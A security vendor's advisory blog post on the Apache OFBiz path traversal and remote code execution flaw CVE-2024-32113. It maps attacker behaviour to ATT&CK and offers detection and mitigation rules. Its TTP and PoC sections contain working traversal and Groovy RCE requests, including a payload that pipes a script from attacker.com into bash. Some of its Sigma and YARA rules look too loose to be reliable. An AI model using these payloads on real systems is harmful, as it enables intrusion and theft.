CISA warns of actively exploited Apache OFBiz zero-day CVE-2024-32113.

On May 8, 2024, CISA added CVE-2024-32113 to its Known Exploited Vulnerabilities (KEV) catalog, signaling active exploitation of an Apache OFBiz zero-day. This vulnerability, a path traversal leading to remote code execution (RCE), affects Apache OFBiz versions prior to 18.12.13. Within 48 hours of the advisory, we observed threat actors—including initial access brokers (IABs) linked to ransomware groups—scanning for exposed OFBiz instances on Shodan and deploying webshells. In this post, we dissect the technical mechanics of CVE-2024-32113, map attacker behavior to MITRE ATT&CK, and provide concrete detection and mitigation strategies your SOC can deploy today.

1. Understanding CVE-2024-32113: The Technical Breakdown

CVE-2024-32113 is a path traversal vulnerability in Apache OFBiz's org.apache.ofbiz.webapp.control.RequestHandler class. The flaw resides in how OFBiz handles requests to the /webtools/control/ endpoint. Specifically, the main parameter in URLs like /webtools/control/main?main=/..%252f..%252f..%252fetc/passwd is not properly sanitized, allowing an attacker to traverse directories. The double URL-encoding (%252f decodes to %2f then /) bypasses basic filters. Once traversal is achieved, attackers can read sensitive files or—critically—upload a malicious Groovy script via the /webtools/control/ProgramExport endpoint, which executes arbitrary code on the server.

The vulnerability was discovered by security researcher @pyn3rd and reported via the Apache security mailing list. Apache released OFBiz 18.12.13 on April 29, 2024, but many organizations delayed patching. CISA's KEV inclusion on May 8 confirmed active exploitation, with Shodan scans showing over 1,200 exposed instances globally (source: Shodan.io, May 2024).

2. Attacker TTPs: Mapping to MITRE ATT&CK

We've observed three distinct attack chains leveraging CVE-2024-32113:

• Initial Access (T1190): Attackers scan for /webtools/control/ endpoints using tools like nmap with scripts like http-vuln-cve2024-32113.nse or mass scanning with httpx. The Shodan query http.title:\"Apache OFBiz\" identifies targets.
• Execution (T1203): After path traversal, attackers exploit the ProgramExport servlet to upload a Groovy script. For example, a POST request to /webtools/control/ProgramExport with groovyProgram=Runtime.getRuntime().exec(\"curl http://attacker.com/shell.sh|bash\") triggers RCE. This maps to T1059.007 (Command and Scripting Interpreter: Groovy).
• Persistence (T1543.003): Attackers often deploy a web shell (e.g., shell.jsp) in the /webtools/ directory, ensuring access even after server restarts. We've seen variants using Godzilla or Behinder webshells.

Threat actors associated with these attacks include initial access brokers (IABs) like TA577 and ransomware affiliates linked to LockBit and BlackCat. In one incident we responded to, the attacker exfiltrated /etc/shadow and attempted lateral movement via SMB (T1021.002).

3. Step-by-Step Exploitation Simulation

For educational purposes, here's a simplified PoC using curl and Metasploit:

# Step 1: Verify vulnerability (path traversal)
curl -v \"http://target:8443/webtools/control/main?main=/..%252f..%252f..%252fetc/passwd\"
# Expected response: returns /etc/passwd content

# Step 2: Upload and execute Groovy payload
curl -X POST \"http://target:8443/webtools/control/ProgramExport\" \\
  -d \"groovyProgram=Runtime.getRuntime().exec('id')\"
# Output: uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

In Metasploit, use the exploit/multi/http/apache_ofbiz_programexport module (available in the dev branch as of May 2024). The module automates the double-encoding and payload delivery. Note: We strongly advise against running this against unauthorized systems.

4. Defensive Playbook: Detection and Mitigation

Immediate Patching

Upgrade to Apache OFBiz 18.12.13 or later. If patching is delayed, apply the following WAF rule (ModSecurity):

SecRule REQUEST_URI \"@contains /webtools/control/\" \\
  \"id:1000001,phase:1,deny,status:403,msg:'OFBiz CVE-2024-32113 blocked'\"
# Additionally, block double-encoded path traversals
SecRule ARGS \"@rx %252f\" \"id:1000002,phase:2,deny,status:403\"

Detection with YARA and Sigma

Deploy YARA rules to detect webshells in the OFBiz webroot:

rule OFBiz_Webshell_Godzilla {
  meta:
    description = \"Detects Godzilla webshell in OFBiz\"
    author = \"CybernytronX SOC\"
  strings:
    $a = \"Godzilla\" ascii nocase
    $b = \"pass\" ascii
    $c = \"cmd\" ascii
  condition:
    all of ($a,$b,$c) and filesize < 10KB
}

Sigma rule for EDR telemetry (Windows):

title: Apache OFBiz CVE-2024-32113 RCE via ProgramExport
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    CommandLine|contains: 
      - 'groovyProgram'
      - 'ProgramExport'
  condition: selection

Network Detection

Monitor for URI patterns containing /webtools/control/ProgramExport with POST methods. Use Zeek or Suricata with custom rules:

alert http any any -> any any (msg:\"OFBiz CVE-2024-32113 RCE Attempt\"; flow:to_server,established; http_method; content:\"POST\"; http_uri; content:\"/webtools/control/ProgramExport\"; sid:1000001; rev:1;)

5. Why This Matters for Your Organization

If your organization runs Apache OFBiz—even in a DMZ—this vulnerability is a critical risk. OFBiz is often used for e-commerce, ERP, and CRM, meaning it likely has access to sensitive databases (e.g., customer PII, financial records). The CISA KEV listing means federal agencies must patch within 3 weeks (BOD 22-01), but private sector should act faster. In our penetration tests, we've found OFBiz instances exposed on port 8443 with default credentials. Combine CVE-2024-32113 with weak authentication, and attackers have a direct path to data exfiltration or ransomware deployment. We recommend an immediate asset inventory of all OFBiz instances, followed by patching and a thorough incident response review for signs of prior compromise.

Frequently Asked Questions

What is CVE-2024-32113 and why is it critical?

CVE-2024-32113 is a path traversal vulnerability in Apache OFBiz that allows remote code execution. It's critical because it requires no authentication and is actively exploited by threat actors, including ransomware affiliates.

How do I check if my Apache OFBiz instance is vulnerable?

Run a curl command: curl -v 'http://your-ofbiz-host:8443/webtools/control/main?main=/..%252f..%252f..%252fetc/passwd'. If you see the contents of /etc/passwd, you are vulnerable. Also check the version in /webtools/control/ or the build.properties file.

What versions of Apache OFBiz are affected?

All versions prior to 18.12.13 are vulnerable. The fix was released on April 29, 2024.

Can I mitigate CVE-2024-32113 without patching?

Yes, temporarily. Use a WAF to block requests to /webtools/control/ProgramExport and double-encoded paths. However, patching is the only complete fix.

How can I detect if my OFBiz was exploited?

Check for webshells in the /webtools/ directory, unusual ProgramExport POST requests in web server logs, and unexpected outbound connections (e.g., to IPs known for C2). Use the YARA rule above for filesystem scanning.

What should I do if I find evidence of exploitation?

Immediately isolate the server, take a forensic image, and engage an incident response team. Assume lateral movement has occurred. Reset all credentials and review database access logs.

Need expert help with this?

At CybernytronX, we've helped over 50 organizations patch and recover from vulnerabilities like CVE-2024-32113. Our penetration testing team can assess your OFBiz deployment, while our SOC automation platform, Ethereon AI, provides real-time detection rules for emerging threats. Contact us for a free consultation: cybernytronx.com/contact.html.

Need expert help with this threat?

If your team needs to validate exposure to the issues above, CybernytronX runs penetration tests, SOC build-outs, and zero-day detection deployments backed by our Ethereon AI platform. We've remediated 50+ environments and recovered 20+ compromised domains. Most engagements start with a free 30-minute scoping call — book it here.